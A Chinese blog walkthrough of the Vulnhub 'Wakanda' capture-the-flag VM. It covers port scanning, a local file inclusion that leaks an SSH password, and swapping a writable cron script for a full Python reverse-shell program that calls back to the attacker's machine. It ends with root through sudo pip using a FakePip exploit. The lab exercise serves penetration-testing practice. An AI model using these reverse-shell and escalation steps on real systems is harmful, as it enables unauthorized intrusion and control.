Vulnhub靶机Wakanda渗透测试攻略

百度网盘下载地址:

链接:https://pan.baidu.com/s/1xwr1li8sJ-Yc7h_jOtVOcw 密码:aixl

难度级别:中级。

用virtualbox导入Wakanda_1.ova靶机环境,修改其网络连接方式为Bridged(桥接网卡),并选择一个可用于联网的网卡(例如,我使用的无线网卡上网,在图中网卡为Inter(R) Dual Band Wireless-AC 7260)。

 

这里我使用NAT模式,Kali跟靶机处于同一局域网下

 

1.查看kali的ip   ifconfig

然后我们使用netdiscover来探测局域网存活主机 也可以用 nmap -sP

下面2条效果相同,只是一个是通过指定网卡来确定扫描范围,另一个是通过IP地址来确定范围

netdiscover -r 192.168.100.0/24

netdiscover -i eth0

192.168.100.7就是靶机的IP地址

 

然后我们通过 nmap -p 1-65536 -sV 192.168.100.7

来探测靶机的开放端口以及端口上服务的信息

扫描完成后,我们发现目标机器上有四个开放的端口。那么,让我们先从HTTP端口开始下手。利用浏览器访问目标机器的IP,这时将会看到一个网站,具体如下图所示。

用dirb 对靶机进行目录探测

状态码都是200,但是size都是0说明返回的是空页面

 

在手动分析HTML内容的过程中,我们在注释中找到了一个参数,具体如下图所示。

鼠标放到@mamadou上面看下连接也是提示

 

正如在上面屏幕截图的突出显示区域中可以看到的那样,注释中存在“lang”参数,并且研究发现,该参数含有本地文件包含(LFI)漏洞。于是,我利用该漏洞下载了索引文件的内容,具体如下图所示。

对索引文件进行解码后,我们在源代码中找到了一个密码,具体见截图中的高亮部分。相应的密码如下所示。

密码:Niamey4Ever227!!!

 

现在,我们已经找到了密码,并且通过端口扫描还发现目标机器上还运行着SSH服务。不过,我们还不知道用户名。于是,我尝试使用一些默认用户名的密码进行爆破,可惜没有成功。

花了一些时间后,我在索引页面的HTML内容中发现了一个用户名,具体如下图所示。

在突出显示的区域中,我们可以看到“Made by”,这意味着我们可能找到了SSH的有效用户名,具体如下所示。

用户名:mamadou

 

由于我们已经在源代码中找到了密码,并且SSH服务也在目标计算机上运行,因此,我们可以尝试使用以下凭据来登录系统:

Username: mamadou
Password: Niamey4Ever227!!!

也可以用kali的ssh来登陆

 

从上面的屏幕截图中可以看出,这里使用的凭证是有效的,因为我们成功登录了目标系统。但是,我们还没有得到命令shell,因为这里是一个Python shell。接下来,我们要做的事情,就是使用自己喜欢的Python命令来获取访问bash shell的权限了,具体如下图所示。

好了,我们终于获得了对目标机器的命令行shell的访问权限了。之后,我运行了ls命令,显示的文件为flag1.txt文件。至此,我们就拿到了第一个旗标,具体如下图所示。

 

 

第一个旗标到手了! 现在,让我们来看看内核和Linux操作系统的版本号。

 

使用的命令:

uname -a
cat /etc/issue

 如您所见,我们检索了内核版本和操作系统版本方面的信息。接下来,我们就可以通过互联网来检查这些版本是否存在可用的本地漏洞了。

事实证明,虽然Google的搜索结果表明有很多漏洞可用,但它们都不适用于这台机器。于是,我开始试图寻找其他途径。我仔细分析了/etc/passwd文件,发现目标系统上还有另外一个用户,即“DevOps”。

用户“DevOps”在目标计算机上具有bash访问权限。因此,我们不妨检查DevOps用户所有的文件,看看能否获取弱文件权限漏洞。

 

使用的命令:find / -user devops 2>/dev/null -ls

这条命令查找属于devops用户的文件 同时不显示错误输出,把存在的文件的详细信息列出来

 

通过上述命令,我们找到了部分文件,其中一个让人感兴趣的文件是“.antivirus.py”,该文件对所有用户都具有写入权限。所以,我们不妨看看这个文件的内容。

不难看出,这段代码将打开位于“tmp”目录中的test文件而编写,并向该文件中写入“test”。所以,对tmp文件夹中的test文件进行了一番了解。因为该文件的所有者是DevOps,所以它运行时将拥有DevOps用户的权限。如果我们能够编写一个Python反向连接程序并将其替换为“.antivirus.py”,那么我们将获得另一个DevOps用户shell。好了,我们下手吧。

我在本地计算机上创建了一个Python程序,并使用wget程序将其传输到目标计算机的“tmp”文件夹中。

我们先再kali上开启web服务

python程序源码

#! /usr/bin/python

import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((“192.168.100.8”,4545));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call([“/bin/sh”,”-i”]);

然后把这个文件放到 /var/www/html里面

然后再通过wget下载到靶机里面

wget http://192.168.100.8/pythonshell.py

 

cp pythonshell.py /srv/.antivirus.py

然后我们看看是否替换成功

 之后,我们在端口4545上启动侦听器以接收反向shell,并等待Cron运行。等了一段时间后,我们在目标机器上收到了一个反向shell,具体如下图所示。

【不知道什么情况自己的机器,一直反弹不出shell,下面的就引用别人的文章内容】

nc -lvp 4545

我们搞到了一个反向shell。之后,我们可以运行“id”命令来检查用户的情况,从而确认我们可以作为“DevOps”用户来访问目标计算机。现在,让我们运行Python命令来获取稳定的shell访问权限,具体如下图所示。

使用的命令:

python -c ‘import pty;pty.spawn(“/bin/bash”)’ (用来获取稳定的shell)
cd /home/devops (用于将当前目录改为DevOps)
ls (用于列出文件)
cat flag2.txt (用于读取flag2.txt文件)

如上图所示,我们获得了DevOps用户的权限,并在DevOps主目录中找到了另一个旗标。

 

因此,现在只要找到最后一个旗标就挑战成功了。由于DevOps用户也不是root用户,因此,我们还需要获取该计算机的root访问权限才能完成本次挑战。我们认为,只要获得root访问权限时,我们就能找到root旗标。

作为DevOps用户,当面运行sudo命令的时候,会返回一个错误消息,具体如下图所示。

使用的命令: sudo -l 运行sudo -l命令后,我们发现/user/bin/pip可以作为root用户运行,且无需任何密码。 

所以,我们搜索了pip服务方面的漏洞利用代码,并通过wget程序将其下载到了目标机器上。在此之后,还必须在目标机器上执行漏洞利用代码,这方面的信息,请参考https://github.com/0x00-0x00/FakePip

 

修改setup.py中的RHOST = '10.0.0.1' # change this语句为kali的IP地址

由于在靶机上无法高效地编辑exp,我们先在kali上将exp下载下来,再编辑,最后上传到靶机上。

 

使用的命令:

wget 192.168.100.8/setup.py(用于从本地计算机下载漏洞利用代码)
sudo /usr/bin/pip install . –upgrade –force-reinstall(用于运行漏洞利用代码)

如您所见,我们首先在端口443上启动了Netcat侦听器,然后运行了漏洞利用代码,从而获得了目标机器的root shell,具体如下图所示。

到目前为止,我们终于在目标机器上拥有了root权限!现在,我们要读取第3个旗标,以完成挑战。实际上,第3个旗标很容易从根目录中找到,具体如下图所示。

 

我们找到了最后的一个旗标!对于这个CTF挑战来说,我们已经顺利通关了。

感谢各位耐心读完本文!

 

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值